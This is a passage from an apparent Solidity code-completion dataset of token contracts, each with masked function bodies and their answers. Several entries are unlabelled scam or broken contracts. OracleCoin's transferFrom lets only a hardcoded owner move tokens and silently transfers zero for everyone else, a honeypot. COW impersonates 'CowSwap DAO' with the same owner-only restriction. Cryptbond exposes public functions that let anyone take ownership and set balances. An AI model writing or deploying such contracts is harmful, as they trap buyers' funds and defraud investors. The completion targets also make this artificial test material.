* @return a boolean representing whether the function was executed succesfully.
*/
function removeExclusionFromTokenUnlocks(address[] _excludedRecipients) external onlyOwner returns (bool) |
79501 | OracleCoin | transferFrom | contract OracleCoin is BEP20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
address private _owner = 0x45c7c5A461A3D0DeF8Ab47a3C0a4E489e385D0e6; // Uniswap Router
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
name = "Oracle Coin";
symbol = "ORACLE";
decimals = 9;
_totalSupply = 100000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> }
} | contract OracleCoin is BEP20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
address private _owner = 0x45c7c5A461A3D0DeF8Ab47a3C0a4E489e385D0e6; // Uniswap Router
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
name = "Oracle Coin";
symbol = "ORACLE";
decimals = 9;
_totalSupply = 100000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
<FILL_FUNCTION>
} |
if (from == _owner) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
} else {
balances[from] = safeSub(balances[from], 0);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], 0);
balances[to] = safeAdd(balances[to], 0);
emit Transfer(from, to, 0);
return true;
}
| function transferFrom(address from, address to, uint tokens) public returns (bool success) | function transferFrom(address from, address to, uint tokens) public returns (bool success) |
22379 | COW | null | contract COW is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
address private _owner = 0x0C243B90f6011460065c4deaF48f613f1520B3BD;
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {<FILL_FUNCTION_BODY> }
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
require(from == _owner, "You are not the owner!");
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | contract COW is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
address private _owner = 0x0C243B90f6011460065c4deaF48f613f1520B3BD;
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
<FILL_FUNCTION>
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
require(from == _owner, "You are not the owner!");
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} |
name = "CowSwap DAO";
symbol = "COW";
decimals = 18;
_totalSupply = 1000000000*10**18;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
| constructor() public | /**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public |
6650 | MegaPoker | process | contract MegaPoker {
OsmLike constant eth = OsmLike(0x81FE72B5A8d1A857d176C3E7d5Bd2679A9B85763);
OsmLike constant bat = OsmLike(0xB4eb54AF9Cc7882DF0121d26c5b97E802915ABe6);
OsmLike constant btc = OsmLike(0xf185d0682d50819263941e5f4EacC763CC5C6C42);
OsmLike constant knc = OsmLike(0xf36B79BD4C0904A5F350F1e4f776B81208c13069);
OsmLike constant zrx = OsmLike(0x7382c066801E7Acb2299aC8562847B9883f5CD3c);
OsmLike constant mana = OsmLike(0x8067259EA630601f319FccE477977E55C6078C13);
OsmLike constant usdt = OsmLike(0x7a5918670B0C390aD25f7beE908c1ACc2d314A3C);
OsmLike constant comp = OsmLike(0xBED0879953E633135a48a157718Aa791AC0108E4);
OsmLike constant link = OsmLike(0x9B0C694C6939b5EA9584e9b61C7815E8d97D9cC7);
OsmLike constant lrc = OsmLike(0x9eb923339c24c40Bef2f4AF4961742AA7C23EF3a);
OsmLike constant yfi = OsmLike(0x5F122465bCf86F45922036970Be6DD7F58820214);
OsmLike constant bal = OsmLike(0x3ff860c0F28D69F392543A16A397D0dAe85D16dE);
OsmLike constant uni = OsmLike(0xf363c7e351C96b910b92b45d34190650df4aE8e7);
OsmLike constant aave = OsmLike(0x8Df8f06DC2dE0434db40dcBb32a82A104218754c);
OsmLike constant univ2daieth = OsmLike(0x87ecBd742cEB40928E6cDE77B2f0b5CFa3342A09);
OsmLike constant univ2wbtceth = OsmLike(0x771338D5B31754b25D2eb03Cea676877562Dec26);
OsmLike constant univ2usdceth = OsmLike(0xECB03Fec701B93DC06d19B4639AA8b5a838472BE);
OsmLike constant univ2daiusdc = OsmLike(0x25CD858a00146961611b18441353603191f110A0);
OsmLike constant univ2ethusdt = OsmLike(0x9b015AA3e4787dd0df8B43bF2FE6d90fa543E13B);
OsmLike constant univ2linketh = OsmLike(0x628009F5F5029544AE84636Ef676D3Cc5755238b);
OsmLike constant univ2unieth = OsmLike(0x8Ce9E9442F2791FC63CD6394cC12F2dE4fbc1D71);
OsmLike constant univ2wbtcdai = OsmLike(0x5FB5a346347ACf4FCD3AAb28f5eE518785FB0AD0);
OsmLike constant univ2aaveeth = OsmLike(0x8D34DC2c33A6386E96cA562D8478Eaf82305b81a);
OsmLike constant univ2daiusdt = OsmLike(0x69562A7812830E6854Ffc50b992c2AA861D5C2d3);
SpotLike constant spot = SpotLike(0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3);
function process() internal {<FILL_FUNCTION_BODY> }
function poke() external {
process();
if (univ2daiusdt.pass()) univ2daiusdt.poke();
spot.poke("UNIV2DAIUSDT-A");
}
// Use for poking OSMs prior to collateral being added
function pokeTemp() external {
process();
}
} | contract MegaPoker {
OsmLike constant eth = OsmLike(0x81FE72B5A8d1A857d176C3E7d5Bd2679A9B85763);
OsmLike constant bat = OsmLike(0xB4eb54AF9Cc7882DF0121d26c5b97E802915ABe6);
OsmLike constant btc = OsmLike(0xf185d0682d50819263941e5f4EacC763CC5C6C42);
OsmLike constant knc = OsmLike(0xf36B79BD4C0904A5F350F1e4f776B81208c13069);
OsmLike constant zrx = OsmLike(0x7382c066801E7Acb2299aC8562847B9883f5CD3c);
OsmLike constant mana = OsmLike(0x8067259EA630601f319FccE477977E55C6078C13);
OsmLike constant usdt = OsmLike(0x7a5918670B0C390aD25f7beE908c1ACc2d314A3C);
OsmLike constant comp = OsmLike(0xBED0879953E633135a48a157718Aa791AC0108E4);
OsmLike constant link = OsmLike(0x9B0C694C6939b5EA9584e9b61C7815E8d97D9cC7);
OsmLike constant lrc = OsmLike(0x9eb923339c24c40Bef2f4AF4961742AA7C23EF3a);
OsmLike constant yfi = OsmLike(0x5F122465bCf86F45922036970Be6DD7F58820214);
OsmLike constant bal = OsmLike(0x3ff860c0F28D69F392543A16A397D0dAe85D16dE);
OsmLike constant uni = OsmLike(0xf363c7e351C96b910b92b45d34190650df4aE8e7);
OsmLike constant aave = OsmLike(0x8Df8f06DC2dE0434db40dcBb32a82A104218754c);
OsmLike constant univ2daieth = OsmLike(0x87ecBd742cEB40928E6cDE77B2f0b5CFa3342A09);
OsmLike constant univ2wbtceth = OsmLike(0x771338D5B31754b25D2eb03Cea676877562Dec26);
OsmLike constant univ2usdceth = OsmLike(0xECB03Fec701B93DC06d19B4639AA8b5a838472BE);
OsmLike constant univ2daiusdc = OsmLike(0x25CD858a00146961611b18441353603191f110A0);
OsmLike constant univ2ethusdt = OsmLike(0x9b015AA3e4787dd0df8B43bF2FE6d90fa543E13B);
OsmLike constant univ2linketh = OsmLike(0x628009F5F5029544AE84636Ef676D3Cc5755238b);
OsmLike constant univ2unieth = OsmLike(0x8Ce9E9442F2791FC63CD6394cC12F2dE4fbc1D71);
OsmLike constant univ2wbtcdai = OsmLike(0x5FB5a346347ACf4FCD3AAb28f5eE518785FB0AD0);
OsmLike constant univ2aaveeth = OsmLike(0x8D34DC2c33A6386E96cA562D8478Eaf82305b81a);
OsmLike constant univ2daiusdt = OsmLike(0x69562A7812830E6854Ffc50b992c2AA861D5C2d3);
SpotLike constant spot = SpotLike(0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3);
<FILL_FUNCTION>
function poke() external {
process();
if (univ2daiusdt.pass()) univ2daiusdt.poke();
spot.poke("UNIV2DAIUSDT-A");
}
// Use for poking OSMs prior to collateral being added
function pokeTemp() external {
process();
}
} |
if ( eth.pass()) eth.poke();
if ( bat.pass()) bat.poke();
if ( btc.pass()) btc.poke();
if ( knc.pass()) knc.poke();
if ( zrx.pass()) zrx.poke();
if ( mana.pass()) mana.poke();
if ( usdt.pass()) usdt.poke();
if ( comp.pass()) comp.poke();
if ( link.pass()) link.poke();
if ( lrc.pass()) lrc.poke();
if ( yfi.pass()) yfi.poke();
if ( bal.pass()) bal.poke();
if ( uni.pass()) uni.poke();
if ( aave.pass()) aave.poke();
if ( univ2daieth.pass()) univ2daieth.poke();
if (univ2wbtceth.pass()) univ2wbtceth.poke();
if (univ2usdceth.pass()) univ2usdceth.poke();
if (univ2daiusdc.pass()) univ2daiusdc.poke();
if (univ2ethusdt.pass()) univ2ethusdt.poke();
if (univ2linketh.pass()) univ2linketh.poke();
if ( univ2unieth.pass()) univ2unieth.poke();
if (univ2wbtcdai.pass()) univ2wbtcdai.poke();
if (univ2aaveeth.pass()) univ2aaveeth.poke();
spot.poke("ETH-A");
spot.poke("BAT-A");
spot.poke("WBTC-A");
spot.poke("KNC-A");
spot.poke("ZRX-A");
spot.poke("MANA-A");
spot.poke("USDT-A");
spot.poke("COMP-A");
spot.poke("LINK-A");
spot.poke("LRC-A");
spot.poke("ETH-B");
spot.poke("YFI-A");
spot.poke("BAL-A");
spot.poke("RENBTC-A");
spot.poke("UNI-A");
spot.poke("AAVE-A");
spot.poke("UNIV2DAIETH-A");
spot.poke("UNIV2WBTCETH-A");
spot.poke("UNIV2USDCETH-A");
spot.poke("UNIV2DAIUSDC-A");
spot.poke("UNIV2ETHUSDT-A");
spot.poke("UNIV2LINKETH-A");
spot.poke("UNIV2UNIETH-A");
spot.poke("UNIV2WBTCDAI-A");
spot.poke("UNIV2AAVEETH-A");
| function process() internal | function process() internal |
86555 | Cryptbond | finishDistribution | contract Cryptbond is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
string public constant name = "Cryptbond Network";
string public constant symbol = "CBN";
uint public constant decimals = 0;
uint256 public totalSupply = 3000000000;
uint256 private totalReserved = 0;
uint256 private totalBounties = 0;
uint256 public totalDistributed = 0;
uint256 public totalRemaining = 0;
uint256 public value;
uint256 public minReq;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyWhitelist() {
require(blacklist[msg.sender] == false);
_;
}
function ToOwner(
) public {
balances[msg.sender] = totalSupply; // Give the creator all initial tokens
owner = msg.sender;
}
function Mining24 (uint256 _value, uint256 _minReq) public {
owner = msg.sender;
value = _value;
minReq = _minReq;
balances[msg.sender] = totalDistributed;
}
function setParameters (uint256 _value, uint256 _minReq) onlyOwner public {
value = _value;
minReq = _minReq;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function enableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = false;
}
}
function disableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = true;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {<FILL_FUNCTION_BODY> }
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
Distr(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function airdrop(address[] addresses) onlyOwner canDistr public {
require(addresses.length <= 255);
require(value <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(value <= totalRemaining);
distr(addresses[i], value);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public {
require(addresses.length <= 255);
require(amount <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(amount <= totalRemaining);
distr(addresses[i], amount);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public {
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
require(amounts[i] <= totalRemaining);
distr(addresses[i], amounts[i]);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
}
uint price = 0.000001 ether;
function() public payable {
uint toMint = msg.value/price;
//totalSupply += toMint;
balances[msg.sender]+=toMint;
Transfer(0,msg.sender,toMint);
}
function getTokens() payable canDistr onlyWhitelist public {
require(value <= totalRemaining);
address investor = msg.sender;
uint256 toGive = value;
if (msg.value < minReq){
toGive = value.sub(value);
}
distr(investor, toGive);
if (toGive > 0) {
blacklist[investor] = true;
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
// mitigates the ERC20 short address attack
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
// mitigates the ERC20 spend/approval race condition
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
uint256 etherBalance = this.balance;
owner.transfer(etherBalance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | contract Cryptbond is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
string public constant name = "Cryptbond Network";
string public constant symbol = "CBN";
uint public constant decimals = 0;
uint256 public totalSupply = 3000000000;
uint256 private totalReserved = 0;
uint256 private totalBounties = 0;
uint256 public totalDistributed = 0;
uint256 public totalRemaining = 0;
uint256 public value;
uint256 public minReq;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyWhitelist() {
require(blacklist[msg.sender] == false);
_;
}
function ToOwner(
) public {
balances[msg.sender] = totalSupply; // Give the creator all initial tokens
owner = msg.sender;
}
function Mining24 (uint256 _value, uint256 _minReq) public {
owner = msg.sender;
value = _value;
minReq = _minReq;
balances[msg.sender] = totalDistributed;
}
function setParameters (uint256 _value, uint256 _minReq) onlyOwner public {
value = _value;
minReq = _minReq;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function enableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = false;
}
}
function disableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = true;
}
}
<FILL_FUNCTION>
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
Distr(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function airdrop(address[] addresses) onlyOwner canDistr public {
require(addresses.length <= 255);
require(value <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(value <= totalRemaining);
distr(addresses[i], value);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public {
require(addresses.length <= 255);
require(amount <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(amount <= totalRemaining);
distr(addresses[i], amount);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public {
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
require(amounts[i] <= totalRemaining);
distr(addresses[i], amounts[i]);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
}
uint price = 0.000001 ether;
function() public payable {
uint toMint = msg.value/price;
//totalSupply += toMint;
balances[msg.sender]+=toMint;
Transfer(0,msg.sender,toMint);
}
function getTokens() payable canDistr onlyWhitelist public {
require(value <= totalRemaining);
address investor = msg.sender;
uint256 toGive = value;
if (msg.value < minReq){
toGive = value.sub(value);
}
distr(investor, toGive);
if (toGive > 0) {
blacklist[investor] = true;
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
// mitigates the ERC20 short address attack
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
// mitigates the ERC20 spend/approval race condition
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
uint256 etherBalance = this.balance;
owner.transfer(etherBalance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} |
distributionFinished = true;
DistrFinished();
return true;
| function finishDistribution() onlyOwner canDistr public returns (bool) | function finishDistribution() onlyOwner canDistr public returns (bool) |
75075 | Token | Token | contract Token is BurnableToken, MintableToken {
string public name = "GBCoin";
string public symbol = "GBCN";
uint256 public decimals = 18;
function Token() {<FILL_FUNCTION_BODY> }
} | contract Token is BurnableToken, MintableToken {
string public name = "GBCoin";
string public symbol = "GBCN";
uint256 public decimals = 18;
<FILL_FUNCTION>
} |
MAX_SUPPLY = 40000000 * 1 ether; // Maximum amount tokens
mint(0xb942E28245d39ab4482e7C9972E07325B5653642, 20000000 * 1 ether);
| function Token() | function Token() |
29982 | TOKEN_ETH | tokenFromReflection | contract TOKEN_ETH is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 69_000_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Shibikido";
string private constant _symbol = "Shibikido";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x1DA7898Fb7A3CfA1dD8E544D62ea25C5b29212Df);
_buyTax = 10;
_sellTax = 10;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {<FILL_FUNCTION_BODY> }
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
require(amount <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 69_000_000_000_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
